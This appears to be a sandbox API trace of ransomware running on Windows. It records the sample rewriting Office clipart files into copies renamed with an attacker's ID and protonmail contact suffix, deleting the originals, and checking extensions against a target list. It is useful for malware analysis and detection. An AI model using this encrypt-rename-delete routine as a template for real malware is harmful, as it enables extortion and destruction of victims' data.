	[0086.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.079] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2280) returned 1
	[0086.079] CloseHandle (hObject=0x38c) returned 1
	[0086.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220
	[0086.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.079] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.079] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.080] GetLastError () returned 0x0
	[0086.080] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x8e8, lpOverlapped=0x0) returned 1
	[0086.380] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x8f0, lpOverlapped=0x0) returned 1
	[0086.381] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.381] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.381] SetEndOfFile (hFile=0x390) returned 1
	[0086.382] CloseHandle (hObject=0x390) returned 1
	[0086.382] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.382] SetEndOfFile (hFile=0x38c) returned 1
	[0086.382] CloseHandle (hObject=0x38c) returned 1
	[0086.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1
	[0087.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.020] lstrlenW (lpString=".doc") returned 4
	[0087.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.020] lstrlenW (lpString=".docx") returned 5
	[0087.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.032] lstrlenW (lpString=".pdf") returned 4
	[0087.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.032] lstrlenW (lpString=".xls") returned 4
	[0087.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.032] lstrlenW (lpString=".xlsx") returned 5
	[0087.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.032] lstrlenW (lpString=".ppt") returned 4
	[0087.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.032] lstrlenW (lpString=".zip") returned 4
	[0087.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.032] lstrlenW (lpString=".rar") returned 4
	[0087.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.032] lstrlenW (lpString=".bz2") returned 4
	[0087.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.033] lstrlenW (lpString=".7z") returned 3
	[0087.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.033] lstrlenW (lpString=".dbf") returned 4
	[0087.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.033] lstrlenW (lpString=".1cd") returned 4
	[0087.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.033] lstrlenW (lpString=".jpg") returned 4
	[0087.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.033] lstrlenW (lpString=".doc") returned 4
	[0087.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.033] lstrlenW (lpString=".docx") returned 5
	[0087.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.033] lstrlenW (lpString=".pdf") returned 4
	[0087.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.033] lstrlenW (lpString=".xls") returned 4
	[0087.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.033] lstrlenW (lpString=".xlsx") returned 5
	[0087.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.033] lstrlenW (lpString=".ppt") returned 4
	[0087.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.033] lstrlenW (lpString=".zip") returned 4
	[0087.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.033] lstrlenW (lpString=".rar") returned 4
	[0087.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.033] lstrlenW (lpString=".bz2") returned 4
	[0087.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.034] lstrlenW (lpString=".7z") returned 3
	[0087.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.034] lstrlenW (lpString=".dbf") returned 4
	[0087.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.034] lstrlenW (lpString=".1cd") returned 4
	[0087.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0087.034] lstrlenW (lpString=".jpg") returned 4
	[0087.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.034] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.034] lstrlenW (lpString="FD00397_.WMF") returned 12
	[0087.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.034] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=10816) returned 1
	[0087.034] CloseHandle (hObject=0x328) returned 1
	[0087.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220
	[0087.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.035] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.035] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.035] GetLastError () returned 0x0
	[0087.035] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2a40, lpOverlapped=0x0) returned 1
	[0087.037] WriteFile (in: hFile=0x394, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2a50, lpOverlapped=0x0) returned 1
	[0087.038] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.038] WriteFile (in: hFile=0x394, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.038] SetEndOfFile (hFile=0x394) returned 1
	[0087.038] CloseHandle (hObject=0x394) returned 1
	[0087.038] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.039] SetEndOfFile (hFile=0x328) returned 1
	[0087.039] CloseHandle (hObject=0x328) returned 1
	[0087.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1
	[0087.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.040] lstrlenW (lpString=".doc") returned 4
	[0087.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.040] lstrlenW (lpString=".docx") returned 5
	[0087.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.040] lstrlenW (lpString=".pdf") returned 4
	[0087.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.040] lstrlenW (lpString=".xls") returned 4
	[0087.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.040] lstrlenW (lpString=".xlsx") returned 5
	[0087.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.040] lstrlenW (lpString=".ppt") returned 4
	[0087.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.040] lstrlenW (lpString=".zip") returned 4
	[0087.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.040] lstrlenW (lpString=".rar") returned 4
	[0087.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.040] lstrlenW (lpString=".bz2") returned 4
	[0087.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.040] lstrlenW (lpString=".7z") returned 3
	[0087.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.041] lstrlenW (lpString=".dbf") returned 4
	[0087.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.041] lstrlenW (lpString=".1cd") returned 4
	[0087.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.041] lstrlenW (lpString=".jpg") returned 4
	[0087.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.041] lstrlenW (lpString=".doc") returned 4
	[0087.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.041] lstrlenW (lpString=".docx") returned 5
	[0087.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.041] lstrlenW (lpString=".pdf") returned 4
	[0087.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.041] lstrlenW (lpString=".xls") returned 4
	[0087.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.041] lstrlenW (lpString=".xlsx") returned 5
	[0087.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.041] lstrlenW (lpString=".ppt") returned 4
	[0087.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.041] lstrlenW (lpString=".zip") returned 4
	[0087.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.041] lstrlenW (lpString=".rar") returned 4
	[0087.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.041] lstrlenW (lpString=".bz2") returned 4
	[0087.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.041] lstrlenW (lpString=".7z") returned 3
	[0087.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.041] lstrlenW (lpString=".dbf") returned 4
	[0087.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.042] lstrlenW (lpString=".1cd") returned 4
	[0087.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.042] lstrlenW (lpString=".jpg") returned 4
	[0087.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.042] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.042] lstrlenW (lpString="FD00403_.WMF") returned 12
	[0087.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.042] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7878) returned 1
	[0087.042] CloseHandle (hObject=0x328) returned 1
	[0087.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220
	[0087.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.043] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.043] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.043] GetLastError () returned 0x0
	[0087.043] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1ec6, lpOverlapped=0x0) returned 1
	[0087.045] WriteFile (in: hFile=0x394, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1ed0, lpOverlapped=0x0) returned 1
	[0087.045] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.046] WriteFile (in: hFile=0x394, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.046] SetEndOfFile (hFile=0x394) returned 1
	[0087.046] CloseHandle (hObject=0x394) returned 1
	[0087.046] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.046] SetEndOfFile (hFile=0x328) returned 1
	[0087.047] CloseHandle (hObject=0x328) returned 1
	[0087.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1
	[0087.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.047] lstrlenW (lpString=".doc") returned 4
	[0087.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString=".docx") returned 5
	[0087.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.047] lstrlenW (lpString=".pdf") returned 4
	[0087.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString=".xls") returned 4
	[0087.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.047] lstrlenW (lpString=".xlsx") returned 5
	[0087.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.048] lstrlenW (lpString=".ppt") returned 4
	[0087.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".zip") returned 4
	[0087.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.048] lstrlenW (lpString=".rar") returned 4
	[0087.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString=".bz2") returned 4
	[0087.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString=".7z") returned 3
	[0087.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".dbf") returned 4
	[0087.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".1cd") returned 4
	[0087.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".jpg") returned 4
	[0087.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".doc") returned 4
	[0087.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString=".docx") returned 5
	[0087.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.048] lstrlenW (lpString=".pdf") returned 4
	[0087.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString=".xls") returned 4
	[0087.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.048] lstrlenW (lpString=".xlsx") returned 5
	[0087.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.048] lstrlenW (lpString=".ppt") returned 4
	[0087.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.049] lstrlenW (lpString=".zip") returned 4
	[0087.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.049] lstrlenW (lpString=".rar") returned 4
	[0087.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.049] lstrlenW (lpString=".bz2") returned 4
	[0087.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.049] lstrlenW (lpString=".7z") returned 3
	[0087.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.049] lstrlenW (lpString=".dbf") returned 4
	[0087.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.049] lstrlenW (lpString=".1cd") returned 4
	[0087.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.049] lstrlenW (lpString=".jpg") returned 4
	[0087.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.049] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.049] lstrlenW (lpString="FD00414_.WMF") returned 12
